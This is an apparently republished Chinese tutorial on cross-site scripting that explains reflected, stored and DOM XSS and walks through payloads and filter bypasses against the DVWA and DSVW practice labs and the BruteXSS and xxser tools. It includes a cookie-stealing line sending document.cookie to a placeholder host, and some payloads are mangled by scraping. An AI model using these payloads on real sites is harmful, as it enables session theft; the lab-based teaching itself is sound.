mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)

原标题:Web安全Day2 - XSS跨站实战攻防(上)

本文由红日安全成员:Aixic 编写,首发于先知社区红日专栏。如有不当,还望斧正。

大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫Web安全实战(https://github.com/hongriSec/Web-Security-Attack),希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式([email protected])联系我们。

1.XSS漏洞概述1.1 漏洞简介

跨站脚本攻击—XSS(Cross Site ),是指攻击者通过在Web页面中写入恶意脚本,造成用户在浏览页面时,控制用户浏览器进行操作的攻击方式。假设,在一个服务端上,有一处功能使用了这段代码,他的功能是将用户输入的内容输出到页面上,很常见的一个功能。但是假如,这里输入的内容是一段经过构造的js。那么在用户再次访问这个页面时,就会获取使用js在用户的浏览器端执行一个弹窗操作。通过构造其他相应的代码,攻击者可以执行更具危害的操作。

1.2 XSS漏洞原理1.2.1 反射型

非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS

主要是GET类型

1.2.2 存储型

持久型,常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。

例如:alert(/xss/)

1.2.3 DOM型

DOM型是特殊的反射型XSS

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

<>varimg=document.("img");img.src="http://xxxx/a?"+escape(document.cookie);>

1.3 XSS危害1.3.1 盗取管理员cookie

盗取管理员的cookie然后登陆后台,获取到后台权限。

1.3.2 XSS蠕虫攻击

可以构成几何的速度进行传播xss代码,获取大部分人的权限。一般配合csrf使用

1.4 常用XSS语句<>alert(/xss/);>//经典语句

1.5 XSS漏洞绕过1.5.1 JS编码

三个八进制数;如果不够前面补0

两个十六进制数字;如果不够前面补0

四个十六进制数字;如果不够前面补0

控制字符

1.5.2 HTML实体编码

以&开始;结束

1.5.3 URL编码

%27

考虑HTML的渲染方式选择合适的编码方式进行测试

1.6 XSS漏洞浏览器问题

有些浏览器会过滤掉一些js脚本,在测试的时候需要关闭对Java的检测。

0x06 XSS漏洞防御

过滤输入的数据,和非法字符‘ “ < > on* 等”’

输出到页面的数据进行相应的编码转换包括HTML实体编码、Java编码等

2. 测试方法2.1 手工测试

这里我们选取DVWA靶场进行手工测试。

2.1.12.1.1.1 DVWA 简介

DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

2.1.1.2 DVWA 安装https: //github.com/ethicalhack3r/DVWA/archive/master.zip

本地PHPStudy搭建DVWA靶机,放入www目录下即可

环境使用PHP+MySQL即可。

6bf1a5a386b7ac202e8b91c4e45332e7.png

image-20190811182129720

修改config.inc.php.dist配置文件中的数据库密码,并且把文件后缀.dist去掉

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第1张图片

image-20190811182159111

因为是xss实验,所以上面的红字可无视,重置一下数据库进入靶场

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第2张图片

image-20190811182222937

用户名:admin 密码:password 登陆靶场

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第3张图片

image-20190811182237449

默认的难度是impossible级别,先选择low级别

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第4张图片

image-20190811182246872 2.1.1.3 测试过程

Low

Low_DOM XSS

用即可触发XSS

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第5张图片

mage-20190811182257946

Low_Reflected XSS

直接使用<>alert(document.cookie)>

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第6张图片

image-20190811182322304

Low_Stored XSS

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第7张图片

image-20190811182347247

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第8张图片

在这里插入图片描述

Medium

Medium_DOM XSS

从Medium级别就开始有加固

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第9张图片

在这里插入图片描述

可以看到它先判断default是否为空,如果不为空,判断下面判断GET输入进来的变量default是否存在

用之前low级别的代码就可以进行绕过

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第10张图片

在这里插入图片描述

Medium_Reflected XSS

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第11张图片

在这里插入图片描述

分析发现现实判断是否为空,如果不为空再判断其中的内容如果有<>就替换成空复写就可以绕过

ript>alert(document.cookie)>

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第12张图片

在这里插入图片描述

Medium_Stored XSS

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第13张图片

在这里插入图片描述

在信息框把所有的特殊字符都进行了addslashes转义,在name那块仍然可以用复写绕过、

但是name处限制了长度,改一下即可

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第14张图片

在这里插入图片描述

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第15张图片

image-20190811182633425

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第16张图片

在这里插入图片描述

High

High_DOM XSS

High级别的代码的限制就比较多,但是还能利用

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第17张图片

image-20190811182617469

只能选择case后面的参数来提交,如果不是就按照默认English

构造语句,这里的##是URL的锚点,让浏览器判断这里终止,主要是让本地存储这个xss语句,发送到服务端进行验证的是##前面的内容,达到了绕过的目的

English## <>alert(document.cookie)>

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第18张图片

在这里插入图片描述

High_Reflected XSS

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第19张图片

image-20190811182604242

上述代码进行了正则替换,只要包含这些都会进行替换,不使用即可

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第20张图片

在这里插入图片描述

High_Stored XSS

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第21张图片

在这里插入图片描述

跟上面同理,在name处进行xss,仍然需要改name长度

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第22张图片

image-20190811182548864

Impossible

Impossible级别利用失败

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第23张图片

在这里插入图片描述 无敌防御方法使用htmlspecialchars函数对输入的数据实例化,失去本身作用。2.1.2 DSVW2.1.2.1 DSVW 简介

Damn Small Vulnerable Web (DSVW) 是使用 Python 语言开发的 Web应用漏洞 的演练系统。其系统只有一个 python 的脚本文件组成, 当中涵盖了 26 种 Web应用漏洞环境, 并且脚本代码行数控制在了100行以内, 当前版本v0.1m。需要python (2.6.x 或 2.7)并且得安装lxml库

2.1.2.2 DSVW 安装

安装python-lxml,再下载DSVW

apt- getinstall python-lxml

git clone https: //github.com/stamparm/DSVW.git

直接运行

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第24张图片

在这里插入图片描述

在这里插入图片描述

如果出现ip无法访问的情况改一下代码即可

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第25张图片

在这里插入图片描述 2.1.2.3 测试过程

** XSS(Reflected) **

因为这个网站没有cookie,所以直接弹射信息

代码<>alert(/xss aixi/)>

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第26张图片

在这里插入图片描述

** XSS(Stored) **

http://10.1.1.14:65412/?comment=%3C%3Ealert(/xss%20aixi/)%3C/%3E

代码<>alert(/xss aixi/)>

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第27张图片

在这里插入图片描述

直接弹射

** XSS(DOM) **

?##lang=<>alert(/xss%20aixi/)>

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第28张图片

在这里插入图片描述

直接弹射

** XSS(JSON) **

189fc168b980fdae88441f3613d58ef4.png

在这里插入图片描述

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第29张图片

在这里插入图片描述

看代码可发现

构造语句alert(/xss/)即可不用带

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第30张图片

在这里插入图片描述 2.2 工具测试

因为要测试所以需要关闭DVWA的登陆验证

加上$dvwaSession[ 'username' ]='admin';

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第31张图片

在这里插入图片描述

在config/config.inc.php把默认难度也改成low

在这里插入图片描述 2.2.1 BruteXSS

下载链接

https: //github.com/ym2011/penetration/tree/master/BruteXSS

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第32张图片

image-20190811182510256

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第33张图片

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第34张图片

测试过程中会因为DVWA的cookie验证严格出现问题,把dvwa的代码进行本地测试利用即可

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第35张图片

image-20190811182720820 2.2.2 xxser

Kali自带或下载链接

在基于Debian的系统上安装

sudo apt- getinstall python-pycurl python-xmlbuilder python-beautifulsoup python-geoip 使用

在这里插入图片描述

利用成功

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第36张图片

mysql将%3c%3e转义_Web安全Day2 - XSS跨站实战攻防(上)_第37张图片

点击“阅读原文”,跳转至github查看更多~返回搜狐,查看更多

责任编辑:

你可能感兴趣的:(mysql将%3c%3e转义)